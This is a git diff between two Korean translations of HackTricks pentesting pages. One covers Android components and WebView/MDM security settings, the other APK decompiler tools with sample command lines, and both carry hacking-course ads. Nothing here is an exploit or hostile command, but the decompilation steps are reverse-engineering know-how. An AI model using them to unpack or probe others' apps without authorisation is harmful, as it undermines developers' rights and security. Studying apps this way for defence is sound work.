서비스는 다양하게 활용될 수 있으며, **인텐트**가 애플리케이션의 진입점으로 사용되는 주요한 방법으로 서비스를 시작할 수 있습니다. `startService` 메소드를 사용하여 서비스를 시작하면 `onStart` 메소드가 실행되어 `stopService` 메소드가 명시적으로 호출될 때까지 계속 실행됩니다. 또한, 서비스의 역할이 활성 클라이언트 연결에 의존하는 경우, 클라이언트를 서비스에 바인딩하기 위해 `bindService` 메소드가 사용되며 데이터 전달을 위해 `onBind` 메소드가 활용됩니다.
|
서비스는 다재다능하며, 다양한 방법으로 시작될 수 있으며, **Intents**가 애플리케이션의 진입점으로서 서비스를 시작하는 주요 방법입니다. `startService` 메서드를 사용하여 서비스가 시작되면, `onStart` 메서드가 작동을 시작하고 `stopService` 메서드가 명시적으로 호출될 때까지 계속 실행됩니다. 또는 서비스의 역할이 활성 클라이언트 연결에 의존하는 경우, `bindService` 메서드를 사용하여 클라이언트를 서비스에 바인딩하고, 데이터 전송을 위해 `onBind` 메서드를 활성화합니다.
|
||||||
|
|
||||||
서비스의 흥미로운 응용 사례로는 앱과 상호 작용을 방해하지 않고 백그라운드에서 음악 재생이나 네트워크 데이터 가져오기가 있습니다. 또한, 서비스는 **내보내기**를 통해 동일한 장치의 다른 프로세스에서 접근할 수 있습니다. 이는 기본 동작이 아니며 Android Manifest 파일에서 명시적으로 구성해야 합니다:
|
서비스의 흥미로운 응용 프로그램에는 백그라운드 음악 재생 또는 사용자의 앱 상호작용을 방해하지 않고 네트워크 데이터 가져오기가 포함됩니다. 또한, 서비스는 **내보내기**를 통해 동일한 장치의 다른 프로세스에서 접근할 수 있도록 설정할 수 있습니다. 이는 기본 동작이 아니며 Android Manifest 파일에서 명시적인 구성이 필요합니다:
|
||||||
```xml
|
```xml
|
||||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||||
```
|
```
|
||||||
### 브로드캐스트 수신기
|
### Broadcast Receivers
|
||||||
|
|
||||||
**브로드캐스트 수신기**는 메시징 시스템에서 청취자 역할을 하며, 여러 애플리케이션이 시스템에서 오는 동일한 메시지에 응답할 수 있게 합니다. 앱은 **두 가지 주요 방법**으로 **수신기를 등록**할 수 있습니다: 앱의 **Manifest**를 통해 또는 앱의 코드 내에서 **`registerReceiver`** API를 통해 **동적으로** 등록합니다. Manifest에서는 브로드캐스트가 권한으로 필터링되며, 동적으로 등록된 수신기는 등록 시 권한을 지정할 수도 있습니다.
|
**Broadcast receivers**는 메시징 시스템에서 리스너 역할을 하여 여러 애플리케이션이 시스템의 동일한 메시지에 응답할 수 있도록 합니다. 앱은 **Manifest**를 통해 또는 **`registerReceiver`** API를 사용하여 앱 코드 내에서 **두 가지 주요 방법**으로 **리시버를 등록**할 수 있습니다. Manifest에서는 브로드캐스트가 권한으로 필터링되며, 동적으로 등록된 리시버는 등록 시 권한을 지정할 수도 있습니다.
|
||||||
|
|
||||||
**인텐트 필터**는 등록 방법 모두에서 중요하며, 어떤 브로드캐스트가 수신기를 트리거하는지를 결정합니다. 일치하는 브로드캐스트가 전송되면 수신기의 **`onReceive`** 메소드가 호출되어 앱이 적절히 반응할 수 있게 되며, 예를 들어 배터리 부족 경고에 대한 반응을 조정할 수 있습니다.
|
**Intent 필터**는 두 등록 방법 모두에서 중요하며, 어떤 브로드캐스트가 리시버를 트리거하는지를 결정합니다. 일치하는 브로드캐스트가 전송되면 리시버의 **`onReceive`** 메서드가 호출되어 앱이 저전압 경고에 대한 반응으로 동작을 조정하는 등의 방식으로 반응할 수 있게 합니다.
|
||||||
|
|
||||||
브로드캐스트는 **비동기적**일 수도 있고, 순서 없이 모든 수신기에 도달할 수도 있으며, **동기적**일 수도 있어서 수신기가 우선순위에 따라 브로드캐스트를 받을 수 있습니다. 그러나 잠재적인 보안 위험을 인지하는 것이 중요합니다. 왜냐하면 어떤 앱이든 자신을 우선시하여 브로드캐스트를 가로챌 수 있기 때문입니다.
|
브로드캐스트는 **비동기적**일 수 있으며, 순서 없이 모든 리시버에 도달하거나 **동기적**일 수 있으며, 리시버가 설정된 우선 순위에 따라 브로드캐스트를 받습니다. 그러나 모든 앱이 브로드캐스트를 가로채기 위해 자신을 우선시할 수 있으므로 잠재적인 보안 위험을 주의해야 합니다.
|
||||||
|
|
||||||
수신기의 기능을 이해하려면 해당 클래스 내의 **`onReceive`** 메소드를 찾아보세요. 이 메소드의 코드는 받은 인텐트를 조작할 수 있으며, 특히 **순서가 정해진 브로드캐스트**에서는 데이터 유효성 검사가 필요하다는 점을 강조합니다. 이는 인텐트를 수정하거나 삭제할 수 있기 때문입니다.
|
리시버의 기능을 이해하려면 해당 클래스 내에서 **`onReceive`** 메서드를 찾아보세요. 이 메서드의 코드는 수신된 Intent를 조작할 수 있으며, 특히 Intent를 수정하거나 삭제할 수 있는 **Ordered Broadcasts**에서 리시버에 의한 데이터 검증의 필요성을 강조합니다.
|
||||||
|
|
||||||
### 콘텐츠 제공자
|
### Content Provider
|
||||||
|
|
||||||
**콘텐츠 제공자**는 앱 간에 **구조화된 데이터를 공유**하는 데 필수적이며, 데이터 보안을 보장하기 위해 **권한을 구현**하는 중요성을 강조합니다. 이를 통해 앱은 데이터베이스, 파일 시스템 또는 웹을 포함한 다양한 소스에서 데이터에 액세스할 수 있습니다. **`readPermission`** 및 **`writePermission`**과 같은 특정 권한은 액세스를 제어하는 데 중요합니다. 또한 앱의 Manifest에서 **`grantUriPermission`** 설정을 통해 일시적인 액세스를 부여할 수 있으며, 자세한 액세스 제어를 위해 `path`, `pathPrefix`, `pathPattern`과 같은 속성을 활용할 수 있습니다.
|
**Content Providers**는 앱 간에 **구조화된 데이터**를 **공유**하는 데 필수적이며, 데이터 보안을 보장하기 위해 **권한**을 구현하는 것이 중요합니다. 이들은 앱이 데이터베이스, 파일 시스템 또는 웹을 포함한 다양한 소스의 데이터에 접근할 수 있도록 합니다. **`readPermission`** 및 **`writePermission`**과 같은 특정 권한은 접근 제어에 중요합니다. 또한, 앱의 매니페스트에서 **`grantUriPermission`** 설정을 통해 임시 접근을 부여할 수 있으며, `path`, `pathPrefix`, `pathPattern`과 같은 속성을 활용하여 세부적인 접근 제어를 할 수 있습니다.
|
||||||
|
|
||||||
SQL 인젝션과 같은 취약점을 방지하기 위해 입력 유효성 검사가 중요합니다. 콘텐츠 제공자는 `insert()`, `update()`, `delete()`, `query()`와 같은 기본 작업을 지원하여 데이터 조작 및 애플리케이션 간 데이터 공유를 용이하게 합니다.
|
입력 검증은 SQL 인젝션과 같은 취약점을 방지하기 위해 매우 중요합니다. Content Providers는 데이터 조작 및 애플리케이션 간의 공유를 용이하게 하는 기본 작업인 `insert()`, `update()`, `delete()`, `query()`를 지원합니다.
|
||||||
|
|
||||||
**FileProvider**는 안전하게 파일을 공유하는 데 중점을 둔 특수한 콘텐츠 제공자입니다. 특정 속성을 사용하여 폴더 액세스를 제어하는 앱의 Manifest에 정의되며, `android:exported` 및 `android:resource`로 폴더 구성에 대한 액세스를 제어합니다. 민감한 데이터 노출을 피하기 위해 디렉토리를 공유할 때 주의가 필요합니다.
|
**FileProvider**는 파일을 안전하게 공유하는 데 중점을 둔 전문화된 Content Provider입니다. 이는 앱의 매니페스트에 정의되며, 폴더에 대한 접근을 제어하기 위한 특정 속성을 포함하고 있으며, `android:exported` 및 `android:resource`가 폴더 구성으로 지정됩니다. 민감한 데이터가 우연히 노출되지 않도록 디렉토리를 공유할 때 주의가 필요합니다.
|
||||||
|
|
||||||
FileProvider에 대한 예제 Manifest 선언:
|
FileProvider에 대한 예시 매니페스트 선언:
|
||||||
```xml
|
```xml
|
||||||
<provider android:name="androidx.core.content.FileProvider"
|
<provider android:name="androidx.core.content.FileProvider"
|
||||||
android:authorities="com.example.myapp.fileprovider"
|
android:authorities="com.example.myapp.fileprovider"
|
||||||
|
@ -330,49 +332,49 @@ android:exported="false">
|
||||||
android:resource="@xml/filepaths" />
|
android:resource="@xml/filepaths" />
|
||||||
</provider>
|
</provider>
|
||||||
```
|
```
|
||||||
그리고 `filepaths.xml`에서 공유 폴더를 지정하는 예시:
|
`filepaths.xml`에서 공유 폴더를 지정하는 예:
|
||||||
```xml
|
```xml
|
||||||
<paths>
|
<paths>
|
||||||
<files-path path="images/" name="myimages" />
|
<files-path path="images/" name="myimages" />
|
||||||
</paths>
|
</paths>
|
||||||
```
|
```
|
||||||
- 추가 정보는 다음을 확인하십시오:
|
For further information check:
|
||||||
- [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
|
- [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
|
||||||
- [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
- [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||||
|
|
||||||
## WebViews
|
## WebViews
|
||||||
|
|
||||||
WebViews는 Android 앱 내부에 있는 **미니 웹 브라우저**와 같으며, 웹이나 로컬 파일에서 콘텐츠를 불러옵니다. 일반 브라우저와 유사한 위험에 직면하지만, 특정 **설정**을 통해 이러한 위험을 **줄일 수 있는 방법**이 있습니다.
|
WebViews는 Android 앱 내의 **미니 웹 브라우저**와 같으며, 웹 또는 로컬 파일에서 콘텐츠를 가져옵니다. 이들은 일반 브라우저와 유사한 위험에 직면하지만, 특정 **설정**을 통해 **이러한 위험을 줄이는 방법**이 있습니다.
|
||||||
|
|
||||||
Android는 두 가지 주요 WebView 유형을 제공합니다:
|
Android는 두 가지 주요 WebView 유형을 제공합니다:
|
||||||
|
|
||||||
- **WebViewClient**는 기본 HTML에 적합하지만 JavaScript 경고 기능을 지원하지 않아 XSS 공격을 테스트하는 방법에 영향을 줍니다.
|
- **WebViewClient**는 기본 HTML에 적합하지만 JavaScript 경고 기능을 지원하지 않아 XSS 공격을 테스트하는 방식에 영향을 미칩니다.
|
||||||
- **WebChromeClient**는 전체 Chrome 브라우저 경험과 유사하게 작동합니다.
|
- **WebChromeClient**는 전체 Chrome 브라우저 경험과 더 유사하게 작동합니다.
|
||||||
|
|
||||||
중요한 점은 WebView 브라우저가 기기의 주요 브라우저와 **쿠키를 공유하지 않는다**는 것입니다.
|
중요한 점은 WebView 브라우저가 장치의 기본 브라우저와 **쿠키를 공유하지** 않는다는 것입니다.
|
||||||
|
|
||||||
콘텐츠를 로드하기 위해 ````loadUrl````, ````loadData````, ````loadDataWithBaseURL````과 같은 메서드를 사용할 수 있습니다. 이러한 URL이나 파일이 **안전하게 사용**되도록 보장하는 것이 중요합니다. 보안 설정은 ````WebSettings```` 클래스를 통해 관리할 수 있습니다. 예를 들어, ````setJavaScriptEnabled(false)````로 JavaScript를 비활성화하면 XSS 공격을 방지할 수 있습니다.
|
콘텐츠를 로드하기 위해 ````loadUrl````, ````loadData````, 및 ````loadDataWithBaseURL````와 같은 메서드를 사용할 수 있습니다. 이러한 URL 또는 파일이 **안전하게 사용될 수 있는지** 확인하는 것이 중요합니다. 보안 설정은 ````WebSettings```` 클래스를 통해 관리할 수 있습니다. 예를 들어, ````setJavaScriptEnabled(false)````로 JavaScript를 비활성화하면 XSS 공격을 방지할 수 있습니다.
|
||||||
|
|
||||||
JavaScript "Bridge"를 통해 Java 객체가 JavaScript와 상호 작용할 수 있으며, Android 4.2 이후 보안을 위해 메서드에 ````@JavascriptInterface````를 표시해야 합니다.
|
JavaScript "Bridge"는 Java 객체가 JavaScript와 상호작용할 수 있게 하며, Android 4.2 이상부터 보안을 위해 메서드에 ````@JavascriptInterface````로 표시해야 합니다.
|
||||||
|
|
||||||
콘텐츠 액세스를 허용하면 (````setAllowContentAccess(true)````), WebViews가 Content Providers에 액세스할 수 있지만, 콘텐츠 URL이 안전하다는 것이 확인되지 않는 한 위험이 될 수 있습니다.
|
콘텐츠 접근을 허용하는 (````setAllowContentAccess(true)````) 것은 WebViews가 콘텐츠 제공자에 접근할 수 있게 하며, 콘텐츠 URL이 안전하다고 확인되지 않으면 위험이 될 수 있습니다.
|
||||||
|
|
||||||
파일 액세스를 제어하려면:
|
파일 접근을 제어하기 위해:
|
||||||
- 파일 액세스 비활성화 (````setAllowFileAccess(false)````)는 파일 시스템에 대한 액세스를 제한하며, 특정 자산에 대한 예외를 허용하여 민감한 콘텐츠에만 사용되도록 보장합니다.
|
- 파일 접근을 비활성화하는 (````setAllowFileAccess(false)````) 것은 파일 시스템에 대한 접근을 제한하며, 특정 자산에 대한 예외가 있어 비민감 콘텐츠에만 사용되도록 보장합니다.
|
||||||
|
|
||||||
## 기타 앱 구성 요소 및 모바일 장치 관리
|
## Other App Components and Mobile Device Management
|
||||||
|
|
||||||
### **애플리케이션의 디지털 서명**
|
### **Digital Signing of Applications**
|
||||||
|
|
||||||
- Android 앱에 대한 **디지털 서명**은 **인증된 작성자**임을 보장하기 위해 반드시 필요합니다. 이 프로세스는 앱 식별을 위해 인증서를 사용하며, 설치 시 기기의 패키지 관리자에 의해 확인되어야 합니다. 앱은 **자체 서명 또는 외부 CA에 의해 인증**될 수 있으며, 무단 액세스로부터 보호되고 전달 중에 앱이 변경되지 않도록 보장합니다.
|
- **디지털 서명**은 Android 앱에 필수적이며, 설치 전에 **정품 작성**되었음을 보장합니다. 이 과정은 앱 식별을 위한 인증서를 사용하며, 설치 시 장치의 패키지 관리자가 확인해야 합니다. 앱은 **자체 서명되거나 외부 CA에 의해 인증**될 수 있으며, 무단 접근으로부터 보호하고 장치에 전달되는 동안 앱이 변조되지 않도록 보장합니다.
|
||||||
|
|
||||||
### **향상된 보안을 위한 앱 확인**
|
### **App Verification for Enhanced Security**
|
||||||
|
|
||||||
- **Android 4.2**부터 **앱 확인**이라는 기능을 통해 사용자는 설치 전에 앱을 안전하게 확인할 수 있습니다. 이 **확인 프로세스**를 통해 사용자는 잠재적으로 해로운 앱에 대해 경고를 받거나 특히 악성 앱의 설치를 방지할 수 있어 사용자 보안을 강화할 수 있습니다.
|
- **Android 4.2**부터 **Verify Apps**라는 기능이 도입되어 사용자가 설치 전에 앱의 안전성을 확인할 수 있습니다. 이 **검증 과정**은 사용자가 잠재적으로 해로운 앱에 대해 경고하거나 특히 악성인 앱의 설치를 방지하여 사용자 보안을 강화할 수 있습니다.
|
||||||
|
|
||||||
### **모바일 장치 관리 (MDM)**
|
### **Mobile Device Management (MDM)**
|
||||||
|
|
||||||
- **MDM 솔루션**은 **장치 관리 API**를 통해 모바일 장치에 대한 **감독 및 보안**을 제공합니다. 이를 위해 Android 앱을 설치하여 모바일 장치를 효과적으로 관리하고 보호해야 합니다. 주요 기능으로는 **암호 정책 강제 적용**, **저장소 암호화 강제 적용**, **원격 데이터 삭제 허용** 등이 있어 모바일 장치에 대한 포괄적인 제어와 보안을 보장합니다.
|
- **MDM 솔루션**은 **장치 관리 API**를 통해 모바일 장치에 대한 **감독 및 보안**을 제공합니다. 이들은 모바일 장치를 효과적으로 관리하고 보호하기 위해 Android 앱의 설치를 필요로 합니다. 주요 기능에는 **비밀번호 정책 시행**, **저장소 암호화 의무화**, 및 **원격 데이터 삭제 허용**이 포함되어 있어 모바일 장치에 대한 포괄적인 제어 및 보안을 보장합니다.
|
||||||
```java
|
```java
|
||||||
// Example of enforcing a password policy with MDM
|
// Example of enforcing a password policy with MDM
|
||||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||||
|
@ -383,22 +385,23 @@ if (dpm.isAdminActive(adminComponent)) {
|
||||||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
**트라이 하드 보안 그룹**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 히어로까지 AWS 해킹 배우기</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 팔로우하세요**.**
|
|
||||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 기여하세요.**
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,85 +1,88 @@
|
||||||
# APK 디컴파일러
|
# APK 디컴파일러
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 **PR을 제출**하여 해킹 기교를 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**각 도구에 대한 자세한 내용은 [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)의 원본 게시물을 확인하세요.**
|
**각 도구에 대한 자세한 내용은 [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)에서 원본 게시물을 확인하세요.**
|
||||||
|
|
||||||
|
|
||||||
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
|
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
|
||||||
|
|
||||||
**JD-Gui**는 선구적인 GUI Java 디컴파일러로, APK 파일 내의 Java 코드를 조사할 수 있습니다. 사용하기 간단하며, APK를 얻은 후에는 JD-Gui로 코드를 검사하기만 하면 됩니다.
|
선구적인 GUI 자바 디컴파일러인 **JD-Gui**는 APK 파일 내의 자바 코드를 조사할 수 있게 해줍니다. 사용이 간단하며, APK를 얻은 후 JD-Gui로 열어 코드를 검사하면 됩니다.
|
||||||
|
|
||||||
### [Jadx](https://github.com/skylot/jadx)
|
### [Jadx](https://github.com/skylot/jadx)
|
||||||
|
|
||||||
**Jadx**는 Android 애플리케이션의 Java 코드를 디컴파일하기 위한 사용자 친화적인 인터페이스를 제공합니다. 다양한 플랫폼에서 사용하기 쉬움으로 추천됩니다.
|
**Jadx**는 안드로이드 애플리케이션의 자바 코드를 디컴파일하기 위한 사용자 친화적인 인터페이스를 제공합니다. 다양한 플랫폼에서 사용하기 쉬워 추천됩니다.
|
||||||
|
|
||||||
- GUI를 실행하려면 bin 디렉토리로 이동하고 다음을 실행하세요: `jadx-gui`
|
- GUI를 실행하려면 bin 디렉토리로 이동하여 다음을 실행합니다: `jadx-gui`
|
||||||
- 명령줄 사용법은 다음과 같습니다: `jadx app.apk`로 APK를 디컴파일합니다.
|
- 명령줄 사용을 위해 APK를 디컴파일하려면: `jadx app.apk`
|
||||||
- 출력 디렉토리를 지정하거나 디컴파일 옵션을 조정하려면 다음을 사용하세요: `jadx app.apk -d <출력 디렉토리 경로> --no-res --no-src --no-imports`
|
- 출력 디렉토리를 지정하거나 디컴파일 옵션을 조정하려면: `jadx app.apk -d <path to output dir> --no-res --no-src --no-imports`
|
||||||
|
|
||||||
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
|
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
|
||||||
|
|
||||||
**GDA**는 Android 앱의 역공학에 대한 다양한 기능을 제공하는 Windows 전용 도구입니다. Windows 시스템에 GDA를 설치하고 실행한 다음 분석할 APK 파일을 로드하세요.
|
**GDA**는 Windows 전용 도구로, 안드로이드 앱의 리버스 엔지니어링을 위한 광범위한 기능을 제공합니다. Windows 시스템에 GDA를 설치하고 실행한 후 APK 파일을 로드하여 분석합니다.
|
||||||
|
|
||||||
### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)
|
### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)
|
||||||
|
|
||||||
**Bytecode-Viewer**를 사용하면 여러 디컴파일러를 사용하여 APK 파일을 분석할 수 있습니다. 다운로드한 후 Bytecode-Viewer를 실행하고 APK를 로드한 다음 동시 분석에 사용할 디컴파일러를 선택하세요.
|
**Bytecode-Viewer**를 사용하면 여러 디컴파일러를 사용하여 APK 파일을 분석할 수 있습니다. 다운로드 후 Bytecode-Viewer를 실행하고 APK를 로드한 다음 동시에 분석할 디컴파일러를 선택합니다.
|
||||||
|
|
||||||
### [Enjarify](https://github.com/Storyyeller/enjarify)
|
### [Enjarify](https://github.com/Storyyeller/enjarify)
|
||||||
|
|
||||||
**Enjarify**는 Dalvik 바이트코드를 Java 바이트코드로 변환하여 Java 분석 도구가 Android 애플리케이션을 더 효과적으로 분석할 수 있게 합니다.
|
**Enjarify**는 Dalvik 바이트코드를 자바 바이트코드로 변환하여 자바 분석 도구가 안드로이드 애플리케이션을 더 효과적으로 분석할 수 있도록 합니다.
|
||||||
|
|
||||||
- Enjarify를 사용하려면 다음을 실행하세요: `enjarify app.apk`
|
- Enjarify를 사용하려면 다음을 실행합니다: `enjarify app.apk`
|
||||||
이렇게 하면 제공된 APK의 Java 바이트코드가 생성됩니다.
|
이 명령은 제공된 APK의 자바 바이트코드 동등물을 생성합니다.
|
||||||
|
|
||||||
### [CFR](https://github.com/leibnitz27/cfr)
|
### [CFR](https://github.com/leibnitz27/cfr)
|
||||||
|
|
||||||
**CFR**은 최신 Java 기능을 디컴파일할 수 있습니다. 다음과 같이 사용하세요:
|
**CFR**은 최신 자바 기능을 디컴파일할 수 있습니다. 다음과 같이 사용하세요:
|
||||||
|
|
||||||
- 표준 디컴파일을 위해: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
- 표준 디컴파일을 위해: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
||||||
- 대형 JAR 파일의 경우 JVM 메모리 할당량을 조정하세요: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
- 큰 JAR 파일의 경우 JVM 메모리 할당을 조정합니다: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
||||||
|
|
||||||
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
|
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
|
||||||
|
|
||||||
**Fernflower**는 분석용 디컴파일러로, 소스에서 빌드해야 합니다. 빌드한 후 다음을 실행하세요:
|
**Fernflower**는 분석 디컴파일러로, 소스에서 빌드해야 합니다. 빌드 후:
|
||||||
|
|
||||||
- JAR 파일을 디컴파일하려면: `java -jar ./fernflower.jar "app.jar" "output_directory"`
|
- JAR 파일을 디컴파일합니다: `java -jar ./fernflower.jar "app.jar" "output_directory"`
|
||||||
그런 다음 생성된 JAR에서 `.java` 파일을 `unzip`을 사용하여 추출하세요.
|
그런 다음 생성된 JAR에서 `.java` 파일을 `unzip`을 사용하여 추출합니다.
|
||||||
|
|
||||||
### [Krakatau](https://github.com/Storyyeller/Krakatau)
|
### [Krakatau](https://github.com/Storyyeller/Krakatau)
|
||||||
|
|
||||||
**Krakatau**는 특히 외부 라이브러리 처리에 대한 디컴파일에 대한 자세한 제어를 제공합니다.
|
**Krakatau**는 외부 라이브러리를 처리하는 데 특히 디컴파일에 대한 세부적인 제어를 제공합니다.
|
||||||
|
|
||||||
- 표준 라이브러리 경로와 디컴파일할 JAR 파일을 지정하여 Krakatau를 사용하세요: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
|
- 표준 라이브러리 경로와 디컴파일할 JAR 파일을 지정하여 Krakatau를 사용합니다: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
|
||||||
|
|
||||||
### [procyon](https://github.com/mstrobel/procyon)
|
### [procyon](https://github.com/mstrobel/procyon)
|
||||||
|
|
||||||
**procyon**을 사용하여 간단한 디컴파일을 수행하려면:
|
**procyon**을 사용하여 간단한 디컴파일을 수행합니다:
|
||||||
|
|
||||||
- JAR 파일을 지정된 디렉토리로 디컴파일합니다: `procyon -jar "app.jar" -o "output_directory"`
|
- JAR 파일을 지정된 디렉토리로 디컴파일합니다: `procyon -jar "app.jar" -o "output_directory"`
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
